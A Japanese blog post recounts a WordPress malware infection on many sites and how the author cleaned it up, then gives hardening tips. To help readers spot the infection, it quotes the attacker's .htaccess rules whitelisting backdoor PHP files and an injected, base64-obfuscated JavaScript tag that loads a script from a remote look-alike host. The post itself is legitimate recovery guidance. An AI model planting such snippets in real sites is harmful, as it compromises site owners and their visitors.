【記事内に広告が含まれる場合があります】
2週間くらい前に、突然ワードプレスの管理画面がおかしくなりました。
何があったのかと思って、他にも運営しているサイトを見ると、同じサーバーに入ってるサイトがほぼすべてが同じ現象に…
管理画面にログインはできても、投稿や更新などのメニューを押すと、403 Forbiddenになるので、何もできない状態。。
だいぶ焦ったのですが、止まっていてもどうしようもないので
- 「ワードプレス 管理画面 おかしい」
- 「ワードプレス 管理画面 403 forbidden」
- 「ワードプレス ログインできるけど管理画面を動かせない」
とかで、いろいろ調べていったら、マルウェアに感染したみたいでした。
これを放置すると「サイトが乗っ取られる」「SEOが飛ばされる」とか書いてある記事もあって、さらに絶望感が増してきました。
実際、この現象が発覚して時間が経つにつれて、検索結果を見るとこれまで上位表示されていた記事が、身に覚えのない記事・タイトルに書き変わっていて、軒並み順位が落ちていました。
で、PV数もクリック数も減って、収益もガクッと落ちました。
さすがになんとかしないとと思って、気合いでいろいろ調べまくって、試行錯誤した結果、2週間くらい経ってようやく解決しました。
ということで、今回は、ワードプレスがハッキング・マルウェア感染したときの解決方法と実際に起こったことをまとめていきます。
※専門業者に頼むとかなり高い金額がかかってしまいますが
- 「できるだけ早く解決したい」
- 「お金を払っても大丈夫」
といった方は、専門の業者に頼むことをおすすめします。
WordPressがマルウェア感染して起こったこと
今回のワードプレスのハッキングでは、以下のようなことが起こりました。
<見た目・直接的内容など>
- 管理画面の見た目がおかしくなる
- 管理画面にログインはできるが、投稿や固定ページなどのメニューを押すと403 forbiddenになる
- 記事が乗っ取られ、検索結果が見覚えのないタイトルで掲載される
- SEOの順位低下・圏外に飛ばされる(PV数の低下→収益減少)
<ファイル改竄など>
- .htaccessやindex.phpの内容を書き換えても一瞬で元に戻る
- 不要な.htaccessがファイルの至るところに設置されている
- 見覚えのない名前のファイルが複数見つかる
もしどれかに当てはまっていたら、今回の記事は参考になるかもしれません。
WordPressマルウェア感染の解決方法【実際にやったこと】
まず、今回解決したいゴールは
「管理画面を正常に戻し、投稿や固定ページなどのメニューを操作できるようになること」
です。
で、結論から言うと、僕の場合は以下の手順で解決できました。
これをサーバーに入っていたサイト全部やりました(30サイト以上あったので、ほんとに気が遠くなりました…)
※サーバーはConoha WINGを使っていたので、操作は主にファイルサーバーで、うまく操作できないときは、FileZillaやMacのTerminalでSSHを使って動かしました。
1.原因の追求
まず前提として、今回「管理画面の投稿や固定ページなどのメニューを動かせない」原因をつくっていたのが、「.htaccess」と「index.php」に記載されている内容でした。
「.htaccess」は基本的に「index.php」を表示させる指令なので、まずは「index.php」の記述を修正する必要があるのですが、今回は何度「index.php」の内容を記述を正常に戻しても、直後に元に戻るという謎現象が起きていました。
なので、どこかで「index.php」の記述が変更された瞬間に元に戻す」という指令が働いていると思い、それを追求しました。
どこにあるのかわからなかったので、だいぶ困ったのですが、さすがに一つ一つのファイルを探していくのも時間がかかりすぎるので、SSHという方法を使うことにしました。
SSHを使うと、サーバーにあるファイルを外部から検索したり操作できるようになります。
Conoha WINGはSSH接続できたので、Macのターミナルを使って繋ぎました。
で、実際にやったのが
- 「10日以内に更新されたファイルの検索」
です。
find . -type f -mmin -14400
というコマンドを打ったら、ずらーっとファイルが出てきました。
その中で、1番怪しそうだったのが
- 16992
- 75078
という数字のファイル。
「16992」のファイルをファイルマネージャーで探して開くと、こんな感じ↓の内容で、index.phpを操作する記述が書かれていました。
もう1つの75078を開くと謎の暗号が…
ということで、「16992」のファイルを指示してる他のファイルを探すことが次の目標になりました↓
2.class-wp.phpにある不審な記述を削除
さっきのターミナルのコマンドで表示されたファイルを1つずつ見ていきます。
その中で一つのファイル「class-wp.php」を開くと、こんな記述が書かれていました。
問題は「include」から始まる部分ですね。
完全にこれだ!と思って、class-wp.phpのincludeから始まる記述を削除しました。
3.不審な数字ファイルを削除
そのあとに
- 16992
- 75078
の2つの数字ファイルを削除しました。
これで完全に、index.phpの記述内容が無限に再生する現象を食い止められました。
4.index.phpの不要な記述を削除
続いて、index.phpの問題の記述を削除していきます。
index.phpを開くと、1番上に意味不明な長い記述があるので、まるっと消して保存すればOKです。
5..htaccessの記述を正常に
.htaccessの記述を正しく戻していきましょう。
<FilesMatch “.(py|exe|php)$”>
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch “^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$”>
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ – [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
この上のほうにある「FilesMatch」部分の記述を削除すればOKです。
ここまでできると、いったんWordPressの管理画面はいつも通り正常に動くようになります!
6.マルウェア感染ファイルの削除
あとは、至るところにマルウェアにかかっているファイルが埋め込まれているので、全部削除していきましょう。
※マルウェアは急に広がる可能性もあるので、除去はできるだけ早くやっていきましょう!
早くやらないとまた不審な記述がまた復活して、管理画面が操作できなくなる可能性があります。
マルウェアの除去方法はやりやすいやり方でOKですが、僕はWpdoctorさんが無料で提供している『Malware scanner Pro』というプラグインを使って、除去していきました。
使い方は、プラグインの画面に進んで右上にある「今すぐスキャン開始」ボタンを押すと、こんな感じ↑でマルウェアがずらーっと出てきます。
これを一個ずつ除去(or不審な記述を削除して保存)していってください!
僕と同じような現象が起こっている方は、以下ファイルが多いと思います。
- index.php
- about.php
- content.php
- radio.php
- 2index.php
- new-index.php
- lock360.php
- comment.php
- .htaccess
- .htaccess.bak
あとは、ワードプレスのテーマファイルなどに、こんなJavaScriptの記述↓が入ってることもあるので、全部消していきましょう。
<script language=”javascript”>var img = document.createElement(‘script’);img.setAttribute(‘src’, window.atob(“Ly9hcGl1anF1ZXJ5LmNvbS9hamF4L2xpYnMvanF1ZXJ5LzMuNS4xL2pxdWVyeS0zLjExLjAubWluLmpzP2k9”) + window.location.href + window.atob(“JnIyPQ==”) + “cd9f2a4e123225055e218c0d8cd04ec3”);document.head.appendChild(img);</script>
これを全サイトでできれば完了です。
7.サブディレクトリの削除
ここまでで、完全に解決したと思ったのですが、時間が経つとすぐ「index.php」や「.htaccess」のファイルが元に戻る現象になりました。
これは、1の冒頭に書いたようにバックドアが仕掛けられた根本原因を解決できてなかったからでした。
このバックドアの原因がサブディレクトリあったようで、サブディレクトリにあるファイルを全削除した上で、1〜6の作業を改めてしたら、今回の問題が完全解決しました。
僕の場合は
yuyanote.com
-/aaa/
-/bbb/
-/ccc/
-/ddd/
-/eee/
みたいな感じで、サブディレクトリを複数作っていました。
この中で、ほぼ使っていなかった(dddとeeeの)サブディレクトリを削除したら、マルウェア感染ファイルが復活しなくなりました。
正確に言うと、バックドアがあるファイルを突き止めるために(1つずつしらみつぶしで見ていく作戦はきついのでファイル数を減らしたかった)
- 不要なサブディレクトリを削除した
- たまたまバックドアがサブディレクトリに入ってた(っぽい)
という流れなので「バックドアを突き止めた→サブディレクトリを削除した」という流れではありません。
なので、正確にバックドアを突き止めて完全復旧したい場合は、専門業者に頼むか、サイトを再構築するのをおすすめします。
なぜマルウェア感染したのか?
マルウェア感染した理由は、正確にはわからないのですが
- ユーザー名・パスワードを見破られた
- プラグインの脆弱性を突かれた
のどっちかが原因かなと思います。
いずれにせよ、とにかくセキュリティ対策が甘かったことが原因ですね。
自分は大丈夫だと思って、セキュリティ系のプラグインを入れていなく、パスワードもそこまで難しくしていなかったので、そのあたりの認識の甘さを突かれたのかもしれません。
マルウェア感染の予兆はあったのか?
思い起こしてみたら、なんとなく予兆はあった気がします。
1ヶ月前くらいから、ブログの読み込みが遅かったり、管理画面や記事作成時の操作が重いなーと思うことが何度かありました。
たぶん、この時点でハッキングされていて、サーバーに負荷がかかっていたのかもしれません。
ワードプレスのマルウェア感染を防ぐ方法【セキュリティ対策】
最後に、マルウェア感染復旧後のセキュリティ対策を書いておきます。
ユーザー名・パスワードを超難しくする
ユーザー名とパスワードは、数字や記号も使いつつ、できる限り難しいものにしていきましょう。
(複数サイトを運営している方は、全サイトで変更必須!)
ユーザー名は、サーバーの『phpMyAdmin』から変更できます。
具体的な変更手順は、『wp_users』のページから「編集」ボタンを押して『user_login』の部分を変えて「実行」ボタンを押すと変更できます。
パスワードは、ワードプレスの管理画面→「ユーザー名」→「プロフィール」→「アカウント管理」→「新しいパスワード」から変更できます。
2段階認証を設定する
二段階認証を設定すると、セキュリティ的にはかなり強固にできます。
なので、さらにセキュリティを強化したい方は、ログイン時の二段階認証も設定していきましょう。
『Two Factor』というプラグインを導入すると簡単に設定できます。
セキュリティ系プラグインを導入する
セキュリティ系プラグインはこのあたりを入れておきましょう。
- 『SiteGuard WP Plugin』:管理画面やログインページのセキュリティ強化
- 『Akismet Anti-Spam』:コメントスパムから保護できる
- 『Wordfence Security』:マルウェア感染ファイルを抽出できる
さらに不安な方は、ワードプレスの行動ログを残せる『WP Activity Log』を入れておくと、不審なアクティビティを確認できます。
使っていないプラグインは削除する
ハッキングは、プラグインの脆弱性から起こる場合があります。
なので、使っていないプラグインは(停止ではなく)削除しておきましょう。
あと、何年も更新されていないようなプラグインは、セキュリティ的に甘い可能性があるので、別のプラグインに変えるか、使わないことをおすすめします。
バックアップをとる
バックアップを取っておけば、万が一ハッキングやマルウェア感染に遭ってもなんとかなります。
『BackWPup』などのプラグインを使って、バックアップを取っていきましょう。
バックアップするときは、バックアップ先をDropboxのようなクラウド上や自分のパソコンに入れておくことをおすすめします。
バックアップ先をサーバーにすると、突然サーバーの利用停止やアカウント停止されたときに、データを取り出せなくなるので!
参考にさせていただいた記事
最後に今回のマルウェア感染の復旧で参考にさせていただいた記事をいくつか載せておきます。